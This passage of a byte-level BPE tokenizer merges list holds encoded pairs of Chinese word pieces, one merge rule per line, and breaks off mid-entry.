+åĮºåŁŁ æĢ§ +亿 ä¸ĩ +æĪĺçķ¥ å¸ĥå±Ģ +éķĩ æĶ¿åºľ +åĶ® 票 +çĶŁäº§ å·¥èīº +éķĩ åħļå§Ķ +ä¸Ńå°ı åŀĭ +æľ¨ è̳ +æ²³ è¾¹ +èĦ¾ èĥĥ +欢è¿İ æĤ¨ +åıĺ å¼Ĥ +缤 纷 +åŀĥåľ¾ æ¡¶ +辩 è¯ģ +车 åºĵ +æ¯Ķ çİĩ +åħ´ æĹº +详ç»Ĩ äºĨè§£ +å®ī å±ħ +çħ§ æĸĻ +æĸ¹ æīį +èµ ¦ +åĨ ķ +å¥Ķ èµ´ +å®Ŀ 鸡 +åľº åĿĩ +缮åīį æŃ£åľ¨ +åIJŀ åϬ +è¿° èģĮ +æĩ µ +å¥ĩ çijŀ +ä»į å°Ĩ +èĪī 辦 +å·¥åķĨ å±Ģ +å¡ij èĥ¶ +åĬŀ å®ŀäºĭ +æĸ¹ æĸ¹éĿ¢ +æĸ¹æĸ¹éĿ¢ éĿ¢ +æĸĩåĮĸ èĬĤ +åħ¥ èģĮ +é¸ ¥ +ç©¿ éĢı +以 ä¹łè¿ijå¹³ +åį± éļª +æľ¦ èĥ§ +åİĨåı² æĢ§ +æķŀ å¼Ģ +ä¼Ļä¼´ åħ³ç³» +çŁ¿ åĮº +åĽ½éĻħ åľ¨çº¿ +ä¼łå¥ĩ éĩĮéĿ¢ +è¿ij äºĽ +è¿ijäºĽ å¹´ +åĬ£ åĬ¿ +æĶ»åĩ» åĬĽ +æĻº éĢł +ç¦ § +çİĭ åħĪçĶŁ +éĨ« çĶŁ +åĽĽ 项 +å®ŀ æĻ¯ +åĪĿ åĪĽ +å¿ĥ 裡 +æĻ¶ ä½ĵ +交 éĻħ +让 æ¶Īè´¹èĢħ +课 æĸĩ +æİĴ æ°Ķ +å¹¶ä¸į æĦıåij³ +缸 声 +第ä¸Ģ å±Ĭ +åİŁ èijĹ +éĽ ľ +没æľī 太大 +è¡¥ æ°´ +çµģ ä¼ģä¸ļ +第äºĮ æī¹ +åħ¶å®ĥ éĹ®é¢ĺ +æİĮ éŨ +责任 å¿ĥ +é¤IJ åħ· +ç¾Ĭ æ¯Ľ +没æľī å¿ħè¦ģ +ä¹IJ åĽ¢ +è¿Ľ åŁİ +ä¸ĢçĤ¹ åĦ¿ +身 å½¢ +çļ®èĤ¤ çĹħ +æĺ ± +å¢ŀ èĩ³ +èģ² æĺİ +æıIJ è´¨ +ä½ĵèĤ² åľº +çѹ 建 +é¬ Ĩ +车 çīĮ +éļĶ éŁ³ +è´Łè´£ åIJĮå¿Ĺ +丰 ç¡ķ +ä½Ľ éĻĢ +äºī åIJµ +åº ¶ +æ·¡ æ°´ +å°ı çĶ·åŃ© +ç§ģ èĩª +åĮĸ è¿Ľç¨ĭ +æĪĺ士 æĿ¥è¯´ +æ²¹ èħ» +èĦ±è´« èĩ´å¯Į +æĹ¥å¸¸ å·¥ä½ľ +交 èŀį +åĨľ è´¸ +åĨľè´¸ å¸Ĥåľº +åĵĪ çĻ» +ç͵ è´¹ +èµ ĺ +åıĮ èħ¿ +æĵĶ å¿ĥ +æĿ¥ 形容 +使åij½ æĦŁ +éĤ£ä¹Ī ç®Ģåįķ +èĬĻ èĵī +åĢŁæ¬¾ 人 +ç§Ģ 丽 +è®ĵ ä»ĸ +严åİī æīĵåĩ» +è³ ŀ +æļ « +çħ¤ æ°Ķ +çά ä¸Ĭ +æ½ĩ æ´Ĵ +太 ä¹ħ +åij½ åIJį为 +è·¯ çͱ +è·¯çͱ åύ +é© ¯ +æıIJ æĹ© +æĬĹåĩ» çĸ«æĥħ +åĩ Ľ +交 åıĭ +éĶĢåĶ® æ¸łéģĵ +毫ä¸į çĬ¹è±« +èIJ¥ åľ° +çłĶç©¶ 表æĺİ +é±¼ ç±» +æį¢ å±Ĭ +æİ¡ åıĸ +çī Ĩ +缼 å¼Ģ +æ²§ æ¡ij +åºŃ 审 +ç»ı æŁ¥ +åĬł å¼· +缸æ¯Ķ äºİ +ä¸ĵ çıŃ +ä½ĵ åŀĭ +被 害 +被害 人 +æĶ¶ 款 +åħ·æľī èī¯å¥½ +é«ĺå³° æľŁ +åģı ä½İ +åĦ Ł +åĨľä¸ļ ç§ijæĬĢ +ç®Ĭ æĥħåĨµ +å¦Ĥæŀľ çݩ家 +éķ¿ çº¦ +第åħŃ å±Ĭ +åħ¬å¼Ģ æĭĽèģĺ +åĪĩ æĸŃ +è¿« 使 +çĸĹ ç¨ĭ +第äºĮ ç§į +ä¸į åħį +å¹² èѦ +çŁ³ 榴 +åĹ £ +两 ç±» +çε 士 +åŁİ乡 å±ħæ°ij +æŃ¤ 项 +缴 è¾ĸ +缴è¾ĸ å¸Ĥ +åij¼ åºĶ +éĴ ¯ +ç¦ı å¾· +æľº 身 +æĵį åľº +æ¿Ĵ 临 +人群 ä¸Ń +èĤ¡ æ°ij +åŃ ½ +æ³ķ åħ° +é¨ İ +糯 ç±³ +æĢ» çļĦ +æĢ»çļĦ æĿ¥è¯´ +åħ¸ éĽħ +æĸ° éĻĪ +æĸ°éĻĪ ä»£è°¢ +缮 çĿ¹ +é¢Ħ è¨Ģ +è·Į çł´ +æĸ° ç¯ĩ竳 +æ¯Ĵ æĢ§ +åĸĿ èĮ¶ +æŁ¥ èİ· +亮 丽 +çĶŁäº§ åķĨ +æĶ¹ æĪIJ +为äºĨ æĽ´å¥½ +æ·± 交 +深交 æīĢ +æİ ĥ +ä¹Ļ èĤĿ +泸 å·ŀ +åħĪè¿Ľ æĬĢæľ¯ +è¾ĵ ç»Ļ +æķ£ æĪ· +æĢĿç»´ æĸ¹å¼ı +åºĹ 主 +è°ĭ æ±Ĥ +游æĪı æĬĢå·§ +ä¸Ģå¹´ 级 +çľ¼ è§Ĵ +ä¸Ńä»ĭ æľºæŀĦ +å·§ åIJĪ +éĺ² çĽĹ +导 è´Ń +æĪ Ĭ +æĽ´ éĢĤåIJĪ +åŁºæľ¬ ä¿¡æģ¯ +马 ä¸ģ +åħ»æ®ĸ åľº +åıį è¿ĩæĿ¥ +æİ¨ å´ĩ +å¯ĨåĪĩ åħ³æ³¨ +åŁºéĩij ç»ıçIJĨ +æĮī éĶ® +åĨħéĥ¨ æİ§åζ +æĪIJåijĺ åįķä½į +æľ¯ è¯Ń +åζ æľį +åĪļ éľĢ +æ£Ģ ç´¢ +大大 æıIJé«ĺ +åģ¥åº· 管çIJĨ +èĩª æŃ¤ +客æĪ· éľĢæ±Ĥ +丰 èĥ¸ +èµ· éĩį +èµ·éĩį æľº +æ¬ł 缺 +æ¡Ī åŃIJ +æĥħ人 èĬĤ +åħļ æł¡ +è¢ ľ +该 åī§ +迷失 ä¼łå¥ĩ +ç»ļ 丽 +åķ ª +æĹł ç§ģ +é̲ ä¸ĢæŃ¥ +第ä¸Ģ 竳 +åύ åħ· +åĨľ èµĦ +確 實 +åºı åĪĹ +娱ä¹IJ å¹³åı° +èŀįèµĦ ç§Łèµģ +èµĦæºIJ åħ±äº« +èģ½ åΰ +æIJŀ å¾Ĺ +ç»§ç»Ń ä¿ĿæĮģ +åIJ¯ èĴĻ +çľ º +ä¸Ŀ è·¯ +设æĸ½ 建设 +æİ¥ åľ° +æİ¥åľ° æ°Ķ +第ä¸ī åŃ£åº¦ +åŁº è°ĥ +åıij éŁ³ +社ä¼ļ èµĦæľ¬ +éĽĩ 主 +è¿ŀ èĥľ +没 åķ¥ +å» ¢ +èµ¶ èµ´ +æ¼Ķ åĮĸ +åı¤ æĢª +çİĭ çĪ· +é¢Ħ åħĪ +å¼Ģ åħ· +åĽŀ é¦ĸ +åľ°ä¸ĭ æ°´ +å°ıç¼ĸ ä¸Ģèµ· +èµİ åĽŀ +åľ° è²Į +åĪĿ ä¸ī +åı¯ ç͍äºİ +éģĹ è¿¹ +è¿Ļ æī¹ +èĸª æ°´ +å¿ħçĦ¶ ä¼ļ +æ² ½ +éį ĭ +第ä¸Ģ éĥ¨ +åĪĬ çī© +å®ŀ ä¾ĭ +æ¸ħ åĩĢ +ä¸Ĭ èµĽåŃ£ +åĽ¾ 表 +éĤ® è½® +åĵª 裡 +缸 è§ģ +æī° ä¹± +æ¯ı æ¯ı +è¿Ļ è¾ĪåŃIJ +ç¡« éħ¸ +äºī 缸 +溯 æºIJ +åĩº ä¼Ĺ +çİī çŁ³ +åħ± çĶŁ +æĹ¶éĹ´ 段 +éĩįè¦ģ æĮĩ示 +æ¶Īè´¹ éľĢæ±Ĥ +éķ¿ éķ¿ +éķ¿éķ¿ çļĦ +å®ī æĬļ +å¢ŀ é«ĺ +æľ¬ è½® +亲 çľ¼ +é£İ æ³¢ +èĢģ å¦Ī +æĶ¶è´¹ æłĩåĩĨ +åĨħ éĻĨ +æĮ¥ åıij +åįĩ åѦ +èĥ¸ åīį +åģı è¿ľ +纯 æ´ģ +æĸ½å·¥ åįķä½į +身 ä»· +è´¢ åĬĽ +çº ¶ +è£ħ çͲ +æĺ¾ç¤º åύ +毫 åįĩ +æ·± çŁ¥ +è̶ ç© +èĢ¶ç© Į +è¾ĥ éĩı +åľ¨ è¿ĩ渡 +åľ¨è¿ĩ渡 æľŁ +èĮ Ĺ +ä¸Ģ个 æĺŁæľŁ +èĬ · +è´¿ èµĤ +æ¿ ķ +æĩĤ äºĭ +ç§ § +åħħ å½ĵ +åĽ½ ç«ĭ +èĬ± çĵ£ +éĤĦ è¦ģ +åħ¬ åľĴ +触 åĬ¨ +æ³° å·ŀ +ä»Ģä¹Ī æł· +æ»ĭ åħ» +è¯Ħ åΤ +æĮ¥ æīĭ +èĦ Ī +å§¥ å§¥ +è¿IJ è´¹ +æ¯ħ åĬĽ +å¿ĥ æĻº +ä¸į æİĴéϤ +第ä¸ī 代 +éĢĢ è´§ +æĺŁ éĻħ +æ°¸ åĪ© +æĬ¤ åį« +çıŃ è½¦ +è¨Ģ è¡Į +ç¹ ª +主åĬ¨ æĢ§ +å·¥ç¨ĭ è´¨éĩı +éĥĬ åĮº +ä¸Ģ æłĭ +ä½Ĩ å®ŀéĻħä¸Ĭ +ä¸ī大 èģĮä¸ļ +åij¼ åı« +女 åħĴ +è¯ģåΏ æĬķèµĦ +èĢĥ æħ® +çĤ« èĢĢ +æ²» 好 +åĺ ¶ +èĥ ¤ +åħīä¼ı åıijç͵ +åĩł æŃ¥ +æīĢ æīĢ +æīĢæīĢ éķ¿ +çħ§ æł· +åĵ¥ 们 +è¯ Ľ +è¿Ļä¸Ģ åĪ» +çŁ¿ çī©è´¨ +ä¸įå¾Ĺ å·² +åIJĮ 缣 +ç»Ĩ å¾® +è·¯ èĻİ +çϾ èĬ± +æ·· æ²Į +ä¸Ĭæµ· è¯ģåΏ +éĢĢ ç¨İ +èµŀ åı¹ +æī®æ¼Ķ 游æĪı +åIJį åĪĹ +åIJįåĪĹ åīį +åIJįåĪĹåīį èĮħ +ç±³ å°Ķ +ä»Ģä¹Ī åİŁåĽł +å®īåħ¨ ä¿Ŀéļľ +ä¸Ģåıª æīĭ +ä¹³ ä¸ļ +ä¸į çĶĺ +æĥħ åķĨ +æĮ¡ ä½ı +åİŁåĽł ä¹ĭä¸Ģ +è¿Ļ 两天 +çĥĺ çĦĻ +è± ¬ +ä½ł 以为 +没 è§ģè¿ĩ +åĵªå®¶ 好 +åīį ä»» +è¿Ľ è´§ +éĢĢ åĽŀ +串 èģĶ +èĩ³ æĸ¼ +åĨ° æ·ĩ +åĨ°æ·ĩ æ·ĭ +æŁ¥çľĭ 详æĥħ +çı¾ 實 +æİ¨ æµĭ +æİ¥ æīĭ +éļ¶ å±ŀäºİ +åŁİå¸Ĥ 群 +æĿİ åħĪçĶŁ +çŁ¿ æ³īæ°´ +çī¹ ä»· +æĽ´å¤ļ 精彩 +ç¨ĭ å¼ı +读 æĩĤ +å±ı èͽ +奥 æŀĹ +奥æŀĹ åĮ¹ +奥æŀĹåĮ¹ åħĭ +红 èĸ¯ +å¥ ® +å®Ŀ çİī +ç¶² 絡 +è² § +欧 å¼ı +çϽ ç³ĸ +èĩªçĦ¶ çģ¾å®³ +åijĬè¯ī 她 +å» ļ +çĤ¹åĩ» æŁ¥çľĭ +é£İ 湿 +èµĦ产 éĩįç»Ħ +ä¹Łä¸į ä¾ĭå¤ĸ +åįĬ 个å°ıæĹ¶ +åIJ¸å¼ķ æĽ´å¤ļ +æĹ¶éĹ´ èĬĤçĤ¹ +æĶ¶ 纳 +åIJ¸ æ¯Ĵ +èĢģ 乡 +çIJ ħ +æľĢ çµĤ +åıį æĦŁ +ç͍ 微信 +çĶ¨å¾®ä¿¡ æī« +éĢŁ çİĩ +大 çĨĬçĮ« +åı¯ æĥ³ +åı¯æĥ³ èĢĮ +åı¯æĥ³èĢĮ çŁ¥ +åĴ § +èµ° åħ¥ +碳 éħ¸ +èĮĥ åĨ° +èĮĥåĨ° åĨ° +被 åΤ +积æŀģ æİ¨åĬ¨ +è¶³ è¶³ +ç²Ĵ åŃIJ +大 å®Ĺ +大å®Ĺ åķĨåĵģ +ç½ij绾 ç§ijæĬĢ +æĽ¼ åŁİ +å·² ä¹ħ +å·²ä¹ħ çļĦ +秦 çļĩ +秦çļĩ å²Ľ +ä»» æķĻ +å͝ ç¾İ +æ·¡ åĮĸ +æ¡Ĥ èĬ± +çŁ¥è¯Ĩ åĪĨåŃIJ +æĩĴ å¾Ĺ +主 åħ¬ +设计 çIJĨ念 +è³ º +æīĢ æıIJä¾Ľ +æīĢæıIJä¾Ľ ä¹ĭ +æĶ» åħĭ +åĤ ¾ +è¯Ń æ³ķ +åįĥ åı¤ +éĸĭ æĶ¾ +第ä¸Ģ èĬĤ +éĤĦ æ²Ĵ +éĢĥ çĶŁ +æ³ Ĺ +åİ¿ å§Ķ书记 +ä½ľèĢħ æīĢæľī +çħ ½ +ç» ħ +æł ħ +æľ´ ç´ł +çijķ çĸµ +åĮħ åĮħ +æ°ij主 åħļ +ä¸į è¿ľå¤Ħ +å¥ĩ å¼Ĥ +åĺ» åĺ» +æī ¼ +ç¿» å¼Ģ +æĢİ èĥ½ +éģ´ éĢī +è§£ éĩĭ +å¹¼ ç¨ļ +è¦ģ 好好 +è¶´ åľ¨ +ç´¢ åıĸ +ç»Ī çĶŁ +åħ¨ æµģç¨ĭ +éģ© çķ¶ +åįıè°ĥ åıijå±ķ +æĬ¥ ä»ĩ +ç§ijæĬĢ åĽŃ +ä»Ģä¹Ī éĥ½ä¸į +æľĢåIJİ ä¸Ģ次 +ç»Ļ人 ä¸Ģç§į +æł¸ å®ļ +被 åĪĹåħ¥ +æĦı æĥ³ä¸įåΰ +èĢĥ æŁ¥ +åľ¨æŃ¤ ä¹ĭåīį +æīĵ çIJĥ +è¶ĬæĿ¥è¶Ĭ å°ij +å®ļ å¾ĭ +è¡ĮæĶ¿ æľºåħ³ +ä½ıæĪ¿ åħ¬ç§¯ +å°ıå§IJ å§IJ +ä¸ī èı± +ä¿® è¡¥ +èŀĥ èŁ¹ +西 çͲ +æĢ ł +çŃī å¤ļ项 +产ä¸ļ éĽĨèģļ +ä»·æł¼ ä¸Ĭ涨 +åħ¬åħ± åľºæīĢ +è¢ĭ åŃIJ +æĨ§ æĨ¬ +çļĦæĸ¹å¼ı æĿ¥ +åΰ è´¦ +çģ ½ +å·´ èı² +å·´èı² çī¹ +æ¼Ķ ä¹ł +èŃ¦ç¤º æķĻèĤ² +çķı æĥ§ +å¼ķ æµģ +æĶ¶ æĶ¯ +å±Ĥ åĩº +å±Ĥåĩº ä¸į +å±Ĥåĩºä¸į ç©· +æijĩ æ»ļ +辦 çIJĨ +纵 è§Ĥ +æķij æµİ +å®¶ éĥ½çŁ¥éģĵ +åĮ ¯ +å°ı 鸣 +ä»» åĭĻ +计 åħ¥ +ç«ŀ éĢī +å¼ĢèįĴ æĹ¶æľŁ +åij¨ æģ© +åij¨æģ© æĿ¥ +交 ç»ĩ +çķ¢ æ¥Ń +æł¹æį® èĩªå·± +æĸ°äºº çݩ家 +åѵåĮĸ åύ +éĩĩ æļĸ +å¹³åĿĩ æ°´å¹³ +åħ¬å¼Ģ 课 +失 åĪ© +伺 æľį +çĬ ģ +忽 æĤł +主è¦ģ éĽĨä¸Ń +æ¤į æłij +æ¯Ĺ éĤ» +èĩº çģ£ +åĩºåĽ½ çķĻåѦ +æĬĹ éľĩ +æĥ© æĪĴ +å¹´åºķ åīį +åĴ¸ éĺ³ +æ°ij å±ħ +大çIJĨ çŁ³ +éĿ ³ +éķ ĸ +æ¸ħ è¿ľ +è£ħ è½½ +èĩ Ģ +å½± ä¸ļ +å¼Ł åħĦ +æĤ² è§Ĥ +çĿĢçľ¼ äºİ +æįį åį« +åī¥ å¤º +ç¯ Ĩ +å¾Ī éķ¿æĹ¶éĹ´ +è¥ Ł +第ä¸Ģ çϾ +ä¸ĢåĪĨ éĴ± +æĸ°éĹ» è®°èĢħ +éķ· æľŁ +æ³ķ æĪĺç»ĦåIJĪ +è°ģ çŁ¥éģĵ +èħ° éĥ¨ +æ±ī åł¡ +åħ¥ çĿ¡ +åįĸ æİī +æ¶Īè²» èĢħ +æĥ¯ ä¾ĭ +æĥ³ äºĨ +æĥ³äºĨ æĥ³ +èĢģæĹ§ å°ıåĮº +ä¼ł è¨Ģ +åĪĨæķ° 线 +æµģ 泪 +ç»Ħç»ĩ é¢Ĩ导 +äºļ åĨĽ +å¢ŀå̼ æľįåĬ¡ +å¾ ¹ +ä¼ ¶ +äºĽ 许 +å¸ĥ èݱ +强 æĤį +宫 å»· +绿 èĮ¶ +åĮ ¡ +å¾Ī æŃ£å¸¸ +æĺ¥ å¤ı +æ¯ Ļ +è¯Ħ æ¯Ķ +åĩ¡ äºĭ +æĬī æĭ© +åĢĴ éľī +éĩį 度 +åįıä¼ļ ä¼ļéķ¿ +å¿§ èĻij +ä¸ĭ ä¸Ģç¯ĩ +沪 æ·± +æĪ İ +æīĵ ä»Ĺ +åįĪ é¥Ń +å¹´é¾Ħ 段 +ä¸ŃåĽ½ è¶³çIJĥ +设计 æĸ¹æ¡Ī +åºĶç͍ æŁ¥çľĭ +é¢Ħ æĸĻ +åĹ ¡ +ç¥ĸ çζ +çļĦä¸Ģ åijĺ +æ´Ĺ å¹²åĩĢ +åİĨåı² æĸ° +åİĨåı²æĸ° é«ĺ +çĭ¬ åħ· +æħĭ 度 +æīĵ 交 +æīĵ交 éģĵ +é»Ħ çŁ³ +çĽ¼ æľĽ +çī§ åľº +转 弯 +åįĩ åįİ +åĨį ä¹Łæ²¡æľī +èĭ± æīį +æĽ´ åIJį为 +åĢŁ ç͍ +çºł éĶĻ +ç»Ŀ对 ä¸įä¼ļ +çİĭ çīĮ +çĽĨ åľ° +失 è°ĥ +好 象 +é³ ¥ +ä¿Ŀ ä¿® +åĽĽä¸ª èĩªä¿¡ +头 çļ® +åİŁ åīĩ +æĬ¥ æ¡Ī +奴 éļ¶ +å³ Ļ +è°ĥ æĸĻ +ä¹Ł 許 +èIJ½ åΰ +èIJ½åΰ å®ŀ +èIJ½åΰå®ŀ å¤Ħ +çĦļ çĥ§ +çĶŁæ´» çݯå¢ĥ +åºĶ åıĬæĹ¶ +è¶Ĭ è¿ĩ +æĦŁ è¬Ŀ +æĻ¯ å¾· +æĻ¯å¾· éķĩ +çĬ Ģ +身 éĤĬ +ç¨İåĬ¡ æĢ»å±Ģ +åĩĢ åľŁ +ä¾µ åįł +åĬ¨ å·¥ +å¹´ ä¹ĭ +å¹´ä¹ĭ ä¹ħ +第äºĮ èĬĤ +åĬ¨çī© åĽŃ +第ä¸Ģ 书记 +éħ ļ +çĶŁäº§ 设å¤ĩ +æŁIJç§į ç¨ĭ度 +åľ Ń +åĩŃåĢŁ çĿĢ +éĺħ è§Ī +çϽ æ²Ļ +æ²¹ çĥŁ +çªģçł´ åı£ +åıĹ å½±åĵį +åı¯ä»¥ æĽ´å¥½ +å³° å̼ +æĿĤ è´¨ +宿 è¿ģ +çĽĺ æ´» +æ¿Ģ èµ· +åĦ¿ ç§ij +åĿIJ èIJ½åľ¨ +æĮª å¨ģ +æµ· å²Ľ +绣 绣 +éĻ ¨ +ä¼ĺ äºİ +å°Ī å®¶ +ä¸Ģ éĤĬ +èIJ Ĭ +äºĨä¸Ģ åı£ +æ²ĥå°Ķ æ²ĥ +æŃ£å¸¸ 使ç͍ +æĻ®éģį åŃĺåľ¨ +丰 满 +çĶ» åį· +åºĶ æĶ¶ +åºĶæĶ¶ è´¦ +åºĶæĶ¶è´¦ 款 +å®Įæķ´ çĥŃ +å®Įæķ´çĥŃ æ¦ľ +注 è§Ĩ +çĨ Ħ +èº ¬ +éĶĢåĶ® 人åijĺ +è¶ĭ åIJij +çĦ¦ æĢ¥ +åįģå¹´ åīį +ä¼łç»Ł 产ä¸ļ +質 éĩı +åĩ¤åĩ° ç½ij +èµĦæºIJ æķ´åIJĪ +æ¶Į åħ¥ +æĸĩåĮĸ ä¼łæĴŃ +çķĮ 第ä¸Ģ +æ°´ æ³µ +宫 殿 +æİ¢ 寻 +ä¿® åīª +æĦı è¦ĭ +ç´Ĭ ä¹± +æĽ ī +çϽ è¡£ +èĻİ åį« +ç´§ æī£ +å¤Ħå¤Ħ éķ¿ +åĪĽå»º å·¥ä½ľ +红 æŀ£ +饼 å¹² +äºĨ åįĬ天 +ä¼ļå½±åĵį åΰ +çĽ¸ä¿¡ 大家 +èħ¾ é£ŀ +å°± å¦ĤåIJĮ +ä¸ĭéĿ¢ å°ıç¼ĸ +æ°ijèIJ¥ ç»ıæµİ +æĻ ¦ +è£ħ æī® +é»ij å¤ľ +常 å¾· +å·¥ä¸ļ 大åѦ +æĺİ çŁ¥ +éĺŁåijĺ 们 +åIJ¬ 课 +æ¯ı éļĶ +羣æĺ¯ 太 +åIJĪä½ľ åħ±èµ¢ +çIJĨ åıij +æīį å¹² +çľĭ èµ·ä¾Ĩ +殿 ä¸ĭ +å®ī éĺ³ +æīĢ äº§çĶŁçļĦ +éĽĩ ä½£ +æĬ¬èµ· 头 +æį® æĬ¥éģĵ +éļĨéĩį 举è¡Į +交 éĶĻ +è¶ħ é¢Ŀ +åĮĸ çĸĹ +é¡ Ĩ +纵 æ·± +çĪ±åĽ½ 主ä¹ī +éĻ¢ åī¯éĻ¢éķ¿ +è® ³ +羣æŃ£ åģļåΰ +åѤ åįķ +èĩªçĦ¶ èĢĮ +èĩªçĦ¶èĢĮ çĦ¶ +ä¿® 身 +èĬ ¹ +æģ¯ æģ¯ +æģ¯æģ¯ 缸åħ³ +驾 æł¡ +æİ© 饰 +æ³½ è¿ŀ +æ³½è¿ŀ æĸ¯åŁº +举 æŃ¢ +管çIJĨ ä½ĵåζ +åħ¶ä¸Ń ä¹ĭä¸Ģ +æĿ¾ å¼Ľ +æĭ¦ æĪª +åį« åģ¥ +åį«åģ¥ å§Ķ +ä»İ åݻ年 +åĤ ¢ +è´Ń 票 +åĽ¾ æłĩ +æ²³ 西 +æ°ijæĶ¿ å±Ģ +ç§ģ èIJ¥ +å¤ĸåĽ½ è¯Ń +å¹² è´§ +æĵ¦ æĭŃ +åľ° ä¸Ń +åľ°ä¸Ń æµ· +æµĵ æµĵ +æµĵæµĵ çļĦ +å§ĭ 建 +å§ĭ建 äºİ +ç¶ĵ æŃ· +è·¯ æ¼Ķ +æļ´ é£İ +åŁº è¾ħ +æī¶è´« å·¥ä½ľ +ä¸Ģ缴 å¤Ħäºİ +æĥħ è¶£ +äºĮ åŃ£åº¦ +åİĮ æģ¶ +顺åĪ© å®ĮæĪIJ +æŁ¥ å°ģ +é¡¶ 端 +ä¸į åŃķ +ä¸Ģ大 åłĨ +被 æ·ĺæ±° +æĺ¯ ç͍æĿ¥ +æľĢ åIJĪéĢĤ +亮 çľ¼ +å¹¶ä¸įæĺ¯ å¾Ī +ç§ijçłĶ éĻ¢ +ç§ijçłĶéĻ¢ æīĢ +ç² Ł +é¢Ī éĥ¨ +é»ĺé»ĺ åľ° +é«ĺä¸Ń çĶŁ +æĹıèĩªæ²» åİ¿ +æķĻåѦ è´¨éĩı +æĪĺ çģ« +åĿİ åĿ· +æIJŃ ä¹ĺ +è¯Ĺ æĦı +åĪij èѦ +åĩº æ±Ĺ +åįģåħŃ æĿ¡ +请 åıĬæĹ¶ +åĨľä¸ļ 大åѦ +èIJ½ åı¶ +æĢ» èĢĮè¨Ģ +æĢ»èĢĮè¨Ģ ä¹ĭ +æĿľ åħ° +æĿľåħ° çī¹ +éĻª ä½ł +åħ¬ æĬ¥ +çķĻè¨Ģ æĿ¿ +éĺħ åİĨ +ç«¶ çĪŃ +ç»Ļ åĪ«äºº +æĹ¥æĬ¥ 社 +åĿIJ èIJ½ +åĿIJèIJ½ äºİ +éĩij åŃĹ +éĩijåŃĹ å¡Ķ +åĽ ¤ +è¯Ŀ åī§ +æĮģç»Ń æİ¨è¿Ľ +æ¼ı æ°´ +詳 ç´° +æĢĢ æĬ± +åıĺ å¹» +饥 饿 +éļIJ 身 +个 èµĽåŃ£ +åĵ¡ å·¥ +æģ¢å¤į æŃ£å¸¸ +äºĨ 好å¤ļ +æĺŁ å·´ +æĺŁå·´ åħĭ +åħī çݯ +å¸ħ åĵ¥ +çϽ éĽª +ç¨į ç¨į +计 æıIJ +æĦĽ æĥħ +éİ ĸ +ä¿¡ éĺ³ +è§Ģ å¯Ł +å¦Ĥæŀľä½ł æĥ³ +缸æ¯Ķ ä¹ĭä¸ĭ +è§£ å¼Ģ +æīĵåį° æľº +身 躯 +ç²¾ç¥ŀ æĸĩæĺİ +èĤ¡ æĮĩ +å¾® åĪĽ +红 èĮ¶ +èĩ´ çĻĮ +æģ© æĸ½ +èħ¿ éĥ¨ +大åŀĭ å¤ļ人 +å®ī åĢį +è¾ħ导 åijĺ +èĪª éģĵ +å¸ĥ å°Ķ +åįĹå®ģ å¸Ĥ +ä¸ĬçıŃ æĹı +ä¾§ ç»ĵæŀĦæĢ§ +追 éļı +å½ĵåľ° æĶ¿åºľ +èµ° åĩºæĿ¥ +éĩijèŀį ä¸ļ +丼 书 +é¡¹çĽ® ç»ıçIJĨ +è¿ĩ æĪ· +骨 æŀ¶ +è¡ Ļ +ä»Ģ 麽 +èħ ĭ +è¦ģ 害 +åľ¨ åºĬä¸Ĭ +代è¨Ģ 人 +並 å°ĩ +åIJĦ个 æĸ¹éĿ¢ +è°´ è´£ +åħ± æĮ¯ +åį³å°Ĩ åΰæĿ¥ +èĤº çĻĮ +ä¾Ľ éĶĢ +丼 æŀĹ +èµ ĥ +åįģä½Ļ å¹´ +åĭĺ æİ¢ +飵 åij³ +èĭ¦ ç¬ij +æľĢ大 ç¨ĭ度 +éĩįçĤ¹ åħ³æ³¨ +ä¹ĭ 举 +满 æĢĢ +åıĹåΰ å½±åĵį +æĭĽ æĬķæłĩ +è¡¥ é½IJ +西 红 +西红 æŁ¿ +é¬ § +è£ħ åᏠ+éĤ» éĩĮ +èĤĩ äºĭ +æİĴ æ¯Ĵ +åѤ åĦ¿ +鼶 è·Ŀ离 +å®ŀ å¹² +çľĭ æŁ¥çľĭ +æĶ¶è´¹ ç«Ļ +ç» · +åħ¬çĽĬ æĢ§ +éĢĴ ç»Ļ +æĶ» æīĵ +æĺŁçº§ éħĴåºĹ +æĺİ åªļ +ç፠ç«ĭ +è¯Ŀè¯Ń æĿĥ +ä¸ĢæŃ¥ ä¸ĢæŃ¥ +书æ³ķ å®¶ +æľªç»ı æİĪæĿĥ +çŁ³ èĨı +åĩŃ ä»Ģä¹Ī +çļĦ æĹ¥ +çļĦæĹ¥ åŃIJéĩĮ +诱 人 +çϾåĪĨ çϾ +èĪĪ è¶£ +å¼ł åħĪçĶŁ +èĢģçĪ· åŃIJ +æ³¢ çī¹ +åŁºéĩij 份é¢Ŀ +æ²Ļåıij ä¸Ĭ +å¥ĭæĸŠ缮æłĩ +æ°¢ èĥ½ +æ²ĥå°Ķ çİĽ +義 åĭĻ +éŁ³ ç®± +æ²ī 浸 +æ²ī浸 åľ¨ +èĭ± åľĭ +çģ¯ çģ« +è¿Ľ 项 +两 端 +ä¹Ķ 丹 +èĦ¸ é¢Ĭ +åıijå±ķ æ½ľåĬĽ +åĭķ ä½ľ +åĵĪ ä½Ľ +å®´ ä¼ļ +æ§ į +ç«ĭ å¿Ĺ +ç¡ķ士 åѦä½į +åĭĭ 竳 +è¿Ļ åľºæ¯ĶèµĽ +æĮģ å¹³ +éķĢ éĶĮ +èĭ± çī¹ +èĭ±çī¹ å°Ķ +æķĻ èģĮå·¥ +åĬŁ åĬĽ +该 æ¡Ī +ä¸Ģ æ¢Ŀ +åĺī å¹´ +åĺīå¹´ åįİ +è¿« ä¸įåıĬ +è¿«ä¸įåıĬ å¾ħ +è¿Ļ个 æĹ¶ä»£ +精彩 æĴŃæĬ¥ +人 èĦ¸ +人èĦ¸ è¯ĨåĪ« +æ£Ģå¯Ł å®ĺ +å°ı èħ¿ +éĨĴ 缮 +åħļ æĢ» +åħļæĢ» æĶ¯ +æĪ Ł +èĮ« çĦ¶ +è±Ĩ æµĨ +主 æ²» +éĿĴæµ· çľģ +åĪijäºĭ 责任 +çł ° +ä¹ĭ æ¬ĬåĪ© +äºĶ å®ĺ +è¿· æĥij +åħ¥ åºĵ +å®¶ 纺 +å¼¹ ç°§ +åįģäºĶ æĿ¡ +ç»Ļ å®Ŀå®Ŀ +èĪªç©º èĪªå¤© +å¾Ģ å¤ĸ +å¼ķ åĬĽ +çľ¼ çļ® +æ¶ī è¶³ +æĿ¥ 宾 +åľ¨çº¿ è§Ĵèī² +çĥŃ éĶĢ +æµģ éĢĿ +泡 泡 +éĻį å¹ħ +è´ŁéĿ¢ å½±åĵį +红 楼 +红楼 梦 +éļĶ çĿĢ +ä¾¥ 